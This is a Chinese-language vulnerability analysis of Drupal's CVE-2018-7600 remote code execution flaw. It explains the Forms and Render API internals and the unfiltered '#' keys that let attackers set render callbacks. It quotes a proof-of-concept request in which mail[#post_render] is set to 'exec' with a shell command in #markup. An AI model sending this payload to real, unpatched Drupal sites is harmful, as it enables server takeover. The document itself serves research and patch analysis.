Drupal 7 CVE-2018-7600 Remote Code Execution
0x0 前言
3 月底 Drupal 官方放出一个 安全通告,其中描述了 Drupal 核心代码中的远程命令执行执行漏洞,但并未公布具体细节,同时在推送的 更新补丁 中,加入了对输入 HTTP 参数的过滤:
protected static function stripDangerousValues($input, array $whitelist, array &$sanitized_keys) {
if (is_array($input)) {
foreach ($input as $key => $value) {
if ($key !== '' && $key[0] === '#' && !in_array($key, $whitelist, TRUE)) {
unset($input[$key]);
$sanitized_keys[] = $key;
}
else {
$input[$key] = self::stripDangerousValues($input[$key], $whitelist, $sanitized_keys);
}
}
}
return $input;
}
根据补丁内容,如果传入的参数名为 # 开头,则对其进行移除。于是根据补丁中提供的线索,一场军备竞赛开始了 0v0。而在昨天的时候,CheckPoint 的安全研究员率先发布了漏洞的细节,同时 @a2u 发布了针对 8.x 的 PoC。
0x1 Drupal 模块
Drupal 使用模块化的方式,将整个程序的功能进行分离。在 Drupal 7.x 中,核心模块位于 ./modules 目录下,其中包括系统、文件、用户、权限管理等模块;对于用户模块,可以将其放置于 ./sites/all/modules 中。
在自定义模块中,至少需要实现两个文件:<module_name>.module 和 <module_name>.info。
其中 info 储存模块的一些描述信息:
core = "7.x"
description = "A demo module"
name = "Demo"
module 则包含主要的逻辑实现:
<?php
// blabla...
在 Drupal 中,# 符号主要用于 Forms API 和 Render API,例如下面的模块绘制一个简单的窗口:
function demo_form($form, &$form_states) {
$form['name'] = [
'#type' => 'textfield',
'#title' => t('Name'),
];
$form['submit_button'] = [
'#type' => 'submit',
'#value' => t('hello there')
];
return $form;
}
function demo_form_validate($form, &$form_states) {
}
function demo_form_submit($form, &$form_states) {
}
模块的函数使用 <module_name>_form 的规则进行定义,在 Drupal 中称为 hook 函数,当对模块进行访问时,会对这些符合规则的函数进行调用,并进行渲染输出。根据函数名的后缀,可以很容易推测函数的功能。
在构建窗口的函数中,我们初始化了一个名为 name 的控件,并使用 #type 设置其类型为 textfield,每种类型的控件会对应特定的处理、渲染回调函数:
可以发现 Drupal 这样做的初衷,是为了将 View 进行分离,以方便对主题样式进行结构化的定制。
但是要对模块进行访问,还需要定义 hook_menu 函数:
function demo_menu() {
$items = [];
$items['demo/form'] = [
'title' => 'Demo page',
'page callback' => 'drupal_get_form',
'page arguments' => ['demo_form'],
'access callback' => TRUE,
'description' => 'Nothing here',
'type' => MENU_NORMAL_ITEM,
];
return $items;
}
page callback 对应的值 drupal_get_form 为 Forms API 中的函数,该函数作为链接的回调函数,进一步调用用户函数 demo_form 来获取表单信息,并对表单进行构建输出。
在后台启用该模块后,对模块进行访问:
0x2 模块渲染
Drupal 对控件元素的渲染,主要由 ./includes/common.inc 中的 drupal_render 函数实现。为了实现较为丰富的渲染功能,在定义控件时,可以为控件设置一些渲染生命周期函数:
作为预定义的参数,这些属性通常在外部无法进行修改。因此 Drupal 在对控件元素进行处理时,这些回调函数作为“可信源”,没有任何验证便可以直接执行。
0x3 问题复现
在 Drupal 获取获取用户请求后,会对表单进行构建,下面是 name 文本控件被构建后的结构,可以看到我们输入的值 Kadokawa 位于 #value 键中:
在 Drupal 8.x 中,根据 CheckPoint 公布的漏洞信息,该问题位于 ./core/modules/file/src/Element/ManagedFile.php 文件中的 uploadAjaxCallback 函数:
首先获取 GET 请求中的 element_parents 参数,在对其进行分割后传入到 NestedArray::getValue 函数中。该函数主要是遍历分割后数组,并作为链式键获取 $form 中的对应的值:
<?php
$form = [
'key' =>
[
'inner' => 'secret',
]
]
var_dump(NestedArray::getValue($form, ['key', 'inner'])); // string(6) => "secret"
在函数返回之后,将其传入到 renderRoot 函数进行渲染,这个函数同 7.x 的 `drupal_render 功能相同。
所以可以看到的 PoC 的 payload 是类似这样子的:
url = target + 'user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax'
payload = {
'form_id': 'user_register_form',
'_drupal_ajax': '1',
'mail[#post_render][]': 'exec',
'mail[#type]': 'markup',
'mail[#markup]': 'touch /tmp/frozenme.txt'
}
在 Drupal 对控件进行处理后,会构建出下面的控件:
$form => [
'mail' => [
'#value' => [
'#post_render' => ['exec'],
'#type' => 'markup',
'#markup' => 'touch /tmp/frozenme.txt'
]
]
]
而在遍历 mail -> #value 键后,最终构建被渲染的 $form:
$form => [
'#post_render' => ['exec'],
'#type' => 'markup',
'#markup' => 'touch /tmp/frozenme.txt'
]
0x4 Own the World
ManagedFile 同 textfield 类似,主要实现 #type 为 managed_file 的控件,该控件实际上被渲染为一个 表单,同时还加入了 AJAX 异步上传功能。
在 Drupal 7.x 中,该控件由 ./modules/file/file.module 模块实现,对应的异步处理函数为 file_ajax_upload。
在该函数中,同样可以对表单进行覆盖:
最后传入到 drupal_render 中执行:
在测试模块中添加上传控件:
function demo_form($form, &$form_states) {
$form['name'] = [
'#type' => 'textfield',
'#title' => 'Name',
];
$form['avatar'] = [
'#type' => 'managed_file',
'#title' => 'Avatar',
'#description' => 'Upload your favor avatar'
];
$form['submit_button'] = ['#type' => 'submit', '#value' => t('hello there')];
return $form;
}
Drupal 默认使用 AJAX 对上传文件进行处理:
在上传点构建对应参数:
调用栈:
回调函数触发后,命令被成功执行:
0x5 最后
Drupal 在 AJAX 上传处理中,原本是想对父控件进行遍历渲染,但由于没有对输入参数进行过滤,导致外部可以构造预设指令,执行回调函数。
而比较有趣的是,Durpal 在 managed_file 控件中实现了多文件上传,使得文件字段可以传入数组形式的值,并最终被带入到 #value 属性中(对于普通控件,使用数组形式传递的字段将不会被正常解析。
0x6 References
Drupal core - Highly critical - Remote Code Execution - SA-CORE-2018-002